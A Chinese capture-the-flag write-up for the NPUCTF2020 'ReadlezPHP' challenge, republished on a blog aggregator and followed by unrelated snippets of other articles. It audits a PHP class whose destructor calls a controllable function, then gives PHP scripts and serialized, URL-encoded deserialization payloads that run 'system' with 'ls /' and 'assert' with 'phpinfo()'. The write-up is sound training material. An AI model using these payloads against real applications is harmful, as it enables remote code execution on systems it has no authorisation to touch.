web:[NPUCTF2020]ReadlezPHP

题目

打开页面显示如下

没发现其他的线索,查看源代码

发现一个网址,访问这个页面查看

进行代码审计

这段代码是一个简单的 PHP 类,名为 HelloPhp。它有两个公共属性 $a$b,并在构造函数中将它们分别初始化为字符串 "Y-m-d h:i:s" 和 "date"。

类中还定义了一个析构函数 __destruct(),它在对象销毁时被调用。在该函数中,它使用属性 $b 存储的字符串作为函数名,将属性 $a 存储的字符串作为参数,并通过调用 $b($a) 来执行日期格式化操作。

之后的代码中,创建了一个 HelloPhp 类的对象 $c。然后,通过判断 GET 请求中是否包含参数 source,如果存在,则使用 highlight_file() 函数将当前文件的源代码高亮显示并输出,然后终止程序。

最后一行代码使用 unserialize() 函数将 GET 请求中的 data 参数反序列化为对象,并使用 @ 符号将可能产生的错误屏蔽,防止错误信息泄露。

由上述代码可知,存在魔法函数__destruct(),调用危险函数b(a),a、b参数可控

构造脚本如下

<?phpclass HelloPhp
{public $a="ls /";public $b="system"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

结果如下

所以payload为

?data=O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

但是没有显示

猜测可能是过滤了部分函数,尝试用别的

<?php
class HelloPhp
{public $a="phpinfo()";public $b="assert"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);?>

payload为

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

发现system被禁用了

找到一个flag

还有另一个flag,可参考文章链接:

CTF-PHP反序列化漏洞2-利用魔法函数_php反序列化漏洞题目_Eason_LYC的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/174604.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java 设计模式之命令模式

命令模式 介绍 命令模式是一种行为类设计模式&#xff0c;核心是将每种请求或操作封装为一个独立的对象&#xff0c;从而可以集中管理这些请求或操作&#xff0c;比如将请求队列化依次执行、或者对操作进行记录和撤销。 命令模式通过将请求的发送者&#xff08;客户端&#x…

Failed to load resource: the server responded with a status of 404 ()

路径问题&#xff1a; 路径省略前面的http://localhost:8080/ 就行了。

中兴交换机:DHCP的配置

一、配置说明 拓扑图 S1是中兴三层核心交换机&#xff0c;作为DHCP Server使用&#xff0c;同时作为网关&#xff0c;PC通过自动获取IP地址接入网络 注意事项&#xff1a; S1全局下需要配置&#xff1a;IP Pool&#xff0c;DHCP Policy&#xff0c;打开DHCP功能 S1接口下需…

Leetcode700 二叉搜索树中的搜索

题意理解&#xff1a; 首先明确二叉搜索树的定义&#xff1a; 根节点的值大于左子树所有节点值&#xff0c;小于右子树所有节点值。 二叉搜索树有其自己的顺序&#xff0c;不需要刻意强调遍历顺序。 解题方法&#xff1a; 递归和遍历都可以用。因为是在树里按照一定的规律找一个…

工大智信智能听诊器的演化及其在现代医疗中的角色

听诊器的演化及其在现代医疗中的角色 听诊器发展史传统听诊器发展背景&#xff1a; 1816年&#xff0c;法国医生勒内拉乐内克为了避免直接将耳朵放在病人身上进行听诊&#xff0c;发明了初代听诊器。 从此&#xff0c;在长达200多年的历史当中&#xff0c;传统听诊器几乎都是按…

Springboot实现增删改差

一、包结构 二、各层代码 (1)数据User public class User {private Integer id;private String userName;private String note;public User() {super();}public User(Integer i, String userName, String note) {super();this.id i;this.userName userName;this.note note;…

2.前端--HTML标签基本概念【2023.11.25】

1.基本语法规范 HTML 标签是由尖括号包围的关键词&#xff0c;例如 <html>。HTML 标签通常是成对出现的&#xff0c;例如 和 &#xff0c;我们称为双标签。有些特殊的标签必须是单个标签&#xff08;极少情况&#xff09;&#xff0c;例如 <br />我们称为单标签。 …

大数据-之LibrA数据库系统告警处理(ALM-37012 MPPDBServer实例双机监听SOCKET异常)

告警解释 当操作系统的其它进程占用双机监听端口号时&#xff0c;产生该告警。 告警属性 告警ID 告警级别 可自动清除 37012 严重 是 告警参数 参数名称 参数含义 ServiceName 产生告警的服务名称 RoleName 产生告警的角色名称 HostName 产生告警的主机名 Ins…

深度学习之基于YoloV3杂草识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 深度学习在图像识别领域已经取得了显著的成果&#xff0c;其中基于YOLO&#xff08;You Only Look Once&#xff09…

C语言:求二维数组鞍点 。鞍点就是指二维数组中在该位置上的元素在该行上最大,在该列上最小,也可能没有鞍点。

分析&#xff1a; 在主函数 main 中&#xff0c;程序首先定义一个二维数组 a[5][5] 和五个整型变量 i、j、max、maxj 和 k&#xff0c;并用于寻找鞍点。然后使用 printf 函数输出提示信息。 接下来&#xff0c;程序使用两个 for 循环结构&#xff0c;从键盘输入一个 5x5 的二…

【华为OD题库-038】支持优先级的对列-java

题目 实现一个支持优先级的队列&#xff0c;高优先级先出队列&#xff0c;同优先级时先进先出。 如果两个输入数据和优先级都相同&#xff0c;则后一个数据不入队列被丢弃。 队列存储的数据内容是一个 整数。 输入描述 一组待存入队列的数据(包含内容和优先级)。 输出描述 队列…

力扣6:N字形变化

代码&#xff1a; class Solution { public:string convert(string s, int numRows){int lens.size();if(numRows1){return s;}int d2*numRows-2;int count0;string ret;//第一行&#xff01;for(int i0;i<len;id){rets[i];}//第k行&#xff01;for(int i1;i<numRows-1;…

自定义递归实现级联组件,可默认展开全部子节点

自定义递归实现级联组件&#xff0c;可默认展开全部子节点 前言 级联组件是各个UI组件库中不可或缺的组件&#xff0c;他们常作为下拉选择使用&#xff0c;可以多选或者单选&#xff0c;但是在最近开发中&#xff0c;这个组件并不能实现产品经理无理的需求&#xff08;需要默…

【云备份】配置加载文件模块

文章目录 配置信息设计配置文件加载cloud.conf配置文件单例模式的使用ReadConfigFile —— 读取配置文件GetInstance —— 创建对象其他函数的实现 具体实现cloud.confconfig.hpp 配置信息设计 使用文件配置加载一些程序运行的关键信息 可以让程序的运行更加灵活 配置信息&am…

C++ 常见异常

关于C异常&#xff08;包括但不限于编译器异常&#xff09;先开个头&#xff0c;有空都记下来吧&#xff1a; 1&#xff1a;_DllMain12 已经在 MSVCRTD.lib(dllmain.obj) 中定义 有效的解决办法&#xff1a; Debug版本&#xff1a; 项目-属性-链接器-输入&#xff1a;忽略特…

爬取极简壁纸

js反编译的代码需要解密之类的&#xff0c;直接给我干蒙圈了&#xff0c;借助selenium可以直接获取到调式工具中的源码&#xff0c;可以获取渲染后的链接&#xff0c;然后将链接交给下载函数&#xff08;使用异步提高效率&#xff09;即可。 后续学习完js反编译的话&#xff0…

matlab导入excel数据两种常见的方法

在MATLAB中导入Excel数据&#xff0c;你可以使用几种不同的方法。下面是两种常见的方法&#xff1a; 方法一&#xff1a;使用readtable函数 readtable函数允许你导入Excel文件中的数据&#xff0c;并将其存储为表格。 % 指定文件路径 filename C:\your\path\to\file.xlsx;%…

羊大师:不同时段喝羊奶,效果会有何不同?

羊大师&#xff1a;不同时段喝羊奶&#xff0c;效果会有何不同&#xff1f; 羊奶是一种营养丰富、口感香浓的健康饮品&#xff0c;被广大消费者所喜爱。然而&#xff0c;你是否知道&#xff0c;不同的喝奶时间对身体的影响也是不同的呢&#xff1f;在不同时段喝羊奶&#xff0…

【无头双向链表和链表练习题2】

文章目录 以给定值x为基准将链表分割成两部分&#xff0c;所有小于x的结点排在大于或等于x的结点之前输入两个链表&#xff0c;找出它们的第一个公共结点。给定一个链表&#xff0c;判断链表中是否有环无头双向链表的模拟实现ArrayList&#xff08;顺序表&#xff09;和LinkedL…

矢量图片转换软件Vector Magic mac中文版功能特色

Vector Magic mac是一款图片转换矢量图&#xff0c;该软件使用世界上最好的全彩色自动描摹器&#xff0c;快速准备好您的作品进行打印、绣花、剪裁等操作。 Vector Magic mac功能特色 只需上传即可在线自动将 JPG、PNG、BMP 和 GIF 位图图像转换为真正的 SVG、Eps 和 PDF 矢量…